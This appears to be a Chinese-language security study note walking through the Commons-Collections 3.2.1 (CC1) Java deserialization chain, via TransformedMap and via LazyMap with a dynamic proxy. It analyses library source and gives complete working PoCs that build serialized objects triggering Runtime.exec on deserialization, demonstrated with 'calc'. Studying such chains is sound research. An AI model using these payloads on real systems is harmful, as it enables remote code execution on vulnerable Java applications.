说在前面
其他cc链整合起来到时候一块发,现在感觉写的有点乱,先把cc1发出来
简单介绍
CC1全称Commons-Collections1,是利用了Apache Commons项目中的Commons-Collections库的一个反序列化漏洞
Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性
环境配置
版本要求:jdk<8u71
CommonsCollections <= 3.2.1
设置maven,配置如下
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>CC1</artifactId>
<packaging>war</packaging>
<version>1.0-SNAPSHOT</version>
<name>CC1 Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
<build>
<finalName>CC1</finalName>
</build>
</project>
记得同步maven配置
代码分析
TransformedMap链
链子
AnnotationInvocationHandler类
-> readObject()
-> setValue()
TransformedMap类
-> MapEntry类
->checkSetValue()
-> setValue()
ChainedTransformer类
-> transform(Transformers[])
-> ConstantTransformer类
-> transform(Runtime.class)
InvokerTransformer类
-> transform(Runtime.class)
-> getClass()
-> getMethod()
-> invoke()
->exec()
InvokerTransformer的transform()
漏洞触发点在
org.apache.commons.collections.functors.InvokerTransformer的transfrom方法
链子我们先从出口看InvokerTransformer.transform()
可以看到最后是利用到transform()
方法做到实现的,我们逐步跟进一下
找到实现此接口的类为InvokerTransformer
重写了transfrom
方法,同时也是可序列化的
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
}
很明显的反射调用,对于iMethodName
,iParamTypes
和iArgs
我们都是可控的,可以调用任意方法和任意参数,很适合做我们链子的出口
可以先测试一下,跟进看到他的赋值,看到他的构造方法
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}
该构造方法
methodName
:要调用的方法名称(例如 "exec"
) 存放在实例变量 iMethodName
中,用于后续反射时指定方法名
paramTypes
:方法的参数类型数组(例如 new Class[]{String.class}
) 存放在 iParamTypes
中,反射调用时需要通过参数类型来定位正确的重载方法
args
:实际调用方法时传入的参数值(例如 new Object[]{"calc"}
) 存放在 iArgs
中,在 method.invoke()
时作为参数传入
所以我们可以测试一下,利用transfrom
方法去调用Runtime类getRuntime对象的exec
import org.apache.commons.collections.functors.InvokerTransformer;
public class TransfromerTest {
public static void main(String[] args){
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
invokerTransformer.transform(runtime);
}
}
查找一下调用tranform()方法的类
另外这里利用反射也是可以的
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.Class;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
public class poc{
public static void main(String[] args) throws Exception {
Runtime rt = Runtime.getRuntime();
//反射获取InvokerTransformer
Class c = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
Constructor ctor = c.getDeclaredConstructor(String.class, Class[].class,Object[].class);
InvokerTransformer invokerTransformer = (InvokerTransformer) ctor.newInstance("exec", new Class[]{String.class}, new Object[]{"calc"});
Method m = c.getDeclaredMethod("transform", Object.class);
m.invoke(invokerTransformer, rt);
}
}
顺着链子找
TransformedMap的checkSetValue()
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
发现TransformedMap类的 checkSetValue() 里使用了 valueTransformer调用transform()
即org.apache.commons.collections.map.TransformedMap
类的 checkSetValue()
方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
只能内部访问,我们跟进valueTransformer看
protected final Transformer valueTransformer;
我们发现valueTransformer
也是受保护类型的属性,所以我们就要去找看谁调用了TransformedMap
的构造方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
在decorate()
这个静态方法中创建了TransformedMap
对象,同时也是public
公共属性
这里我们梳理一下链子
TransformedMap::decorate()->TransformedMap::checkSetValue()->InvokerTransformer::transform()
根据利用链,写一个POC
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.reflect.Method;
import java.util.Map;
public class TransformeMapTest {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer =new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashedMap hashMap = new HashedMap();
Map dMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
//system.out.println(dMap);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
//获取私有的方法
Method method = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
method.setAccessible(true);
method.invoke(dMap, runtime);
}
}
怎么弹计算器了!由于decorate是静态方法,可以直接类名+方法名调用的
同时set权限,因为checkSetValue
是受保护属性
AbstractInputCheckedMapDecorator的setValue()
但是我们知道静态方法是不会自动触发的,所以继续跟进找链子
我们继续跟进checkSetValue()
,跟进到setValue()
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
这个构造方法是来自抽象类,TransformedMap
的父类
是AbstractInputCheckedMapDecorator
类中的一个内部类MapEntry
中的setValue()
调用了checkSetValue()
,同时作为公共方法,可以直接利用的
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
可以看到此构造方法中,Entry代表的事Map中的一个键值对,但是在 MapEntry
中我们可以调用 setValue
方法,这个方法是从其父类 AbstractMapEntryDecorator
(实现了 Map.Entry
接口)继承而来的
所以我们跟进他的父类AbstractMapEntryDecorator
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {
·····
}
引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue()
所以POC
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class poc{
public static void main(String[] args) throws Exception {
Runtime rt = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object ,Object> map = new HashMap<>();
Map<Object, Object> tm = TransformedMap.decorate(map, null, invokerTransformer);
map.put("key","value");
for(Map.Entry entry: tm.entrySet()) {
entry.setValue(rt);
}
}
}
可以打断点测试一下,是数组的入口类,会遍历它,所以就会执行setVaue方法
后面就是根据原链子走的了
POC这里
map.put("key","value");
for(Map.Entry entry:tm.entrySet()) {
entry.setValue(rt);
}
需要调试TransformedMap中没有entrySet方法,但是其继承的父类有
总结一下就是
跟进查看 发现只有 父类 AbstractInputCheckedMapDecorator抽象类里的 MapEntry 的setValue() 调用了checkSetValue()
MapEntry重写了setValue方法,但是TransformedMap继承了
AbstractInputCheckedMapDecorator,所以调用了setValue
方法就相当于调用到了checkSetValue()
方法
AnnotationInvocationHandler的readObject()
我们接着跟setValue()
终于看到了readobject()
AnnotationInvocationHandler.java
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
memberValue.setValue
找到了这个类的构造方法
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
接受Class继承于Annotation,在java中他是注释,即@Override
第二个参数是Map类型,可以将TransformedMap传入
对于memberValues可控
问题解决
我们面临的问题是:需要绕过两个if判断才可以执行,同时Runtime无法反序列化因为没有Seriablable接口,但是我们可以打反射
写个dome
import java.lang.reflect.Method;
public class dime {
public static void main(String[] args) throws Exception {
Class c =Runtime.class;
Method method =c.getMethod("getRuntime");//可以跟踪一下可以发现是有return返回的
Runtime runtime = (Runtime)method.invoke(null,null);//Runtime.getruntime()
Method run =c.getMethod("exec",String.class);//String是exec参数
run.invoke(runtime,"calc");//最后调用执行
}
}
通过查找用法发现ChainedTransformer
类下的 transform
方法递归调用了前一个方法的结果,作为后一个方法的参数
反射调用链(getMethod → invoke → exec) 串起来
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
所以可以修改
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class poc {
public static void main(String[] args) throws Exception {
Class runtime = Class.forName("java.lang.Runtime");
Transformer[] Transformer = new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
chainedTransformer.transform(runtime);
}
}
解决下一个问题:setValue()方法无法执行的原因
要想执行,我们就得过两层if
语句,要看这个参数是怎么来的
Class<?> memberType = memberTypes.get(name);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
发现是通过annotationTypes调用了memberTypes
方法来的
跟进到annotationTypes
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
获取一个注解类型实例了,和上面提到的overried
所以他这个type是最后传入到memberTypes方法中的,也就是说这样memberTypes中就可以获取注释里面的值了
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {}
看到getkey()
对应的就是我们map传入的键值对,name就是key键
Target
是 Java 注解库中的一个内置注解,属于 java.lang.annotation
包
接下来是绕过setValue中value不可控,而是指定AnnotationTypeMismatchExceptionProxy
类,无法执行命令
我们利用ConstantTransformer
类
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
就类似常量了 new ConstantTransformer(Runtime.class)
写入到 transformers数组里, 就是说在最后valueTransformer.transform(value);
即 chainedTransformer.transform(代理object);
循环调用的时候,首先调用了 ConstantTransformer的transform方法,把输入的这个value无视,而返回 Runtime.class 达到控制的效果
问题都解决了,最终poc
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class endpoc {
public static void main(String[] args) throws Exception {
//实例化Runtime对象并调用exec方法执行命令
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//Map类的构建和修饰
HashMap<Object,Object> map = new HashMap<>();
//满足readObject中Target注解的value方法
map.put("value","sss");
Map<Object,Object> transformermap = TransformedMap.decorate(map,null,chainedTransformer);
//遍历map触发setValue方法
Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,transformermap);
serialize(o);
unserialize("CC1.txt");
}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
oos.close();
}
//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}
所以最终的利用链是
AnnotationInvocationHandler类-> readObject()-> setValue()
TransformedMap类-> MapEntry类->checkSetValue()-> setValue()
ChainedTransformer类-> transform(Transformers[])-> ConstantTransformer类-> transform(Runtime.class)
InvokerTransformer类-> transform(Runtime.class)-> getClass()-> getMethod()-> invoke()->exec()
LazyMap利用链
另一条链子,利用LazyMap
是利用其中的get
方法中执行factory.transform
其中LaZyMap
的作用是”懒加载”
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
可以看到是他和TransformerMap的利用的区别是存在于TransformMap是通过我们赋值进行链子打入的,但是LazyMap是通过不赋值,而是去触发get方法中的Transform方法去达到调用到此方法的目的
AnnotationInvocationHandler
invoke触发get
同时我们可以知道memberValues是可控的
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
我们跟进到get方法
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
可以看到可以调用到transform方法,并且factory可控,所以我们可以直接接通链子
所以我们只要触发invoke就可以了,通过AnnotationInvocationHandler
用Proxy
进行代理,readObject`的时候,只要调用任意方法,就能够触发到invoke方法,从而触发get了
Java对象代理
我们需要用到java.reflect.Proxy
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new
Class[] {Map.class}, handler);
Proxy.newProxyInstance
的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要 代理的对象集合;第三个参数是一个实现了InvocationHandler
接口的对象,里面包含了具体代理的逻辑
这里去看了P神的文章,引用一下P神的例子
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class APP {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new
HashMap());
Map proxyMap = (Map)
Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}
只要调用的方法名为get
就返回Hacked Object
所以总结一下
动态代理的本质是:通过 Proxy
在运行时创建一个实现接口的匿名类,并把对接口方法的调用转发给 InvocationHandler 实例的 invoke()
方法
POC
sun.reflect.annotation.AnnotationInvocationHandler 其实就是一个InvocationHandler
如果用AnnotationInvocationHandler去代理我们设计好的Map的话,那么这个Map执行任意的方法都会走invoke从而触发get
所以只要简单的替换就可以,要用AnnotationInvocationHandler对这个proxyMap进行包裹
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Laztpoc {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,
Object[].class}, new Object[]{null, new Object[0]
}),
new InvokerTransformer("exec", new Class[]{String.class},
new String[]{
"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}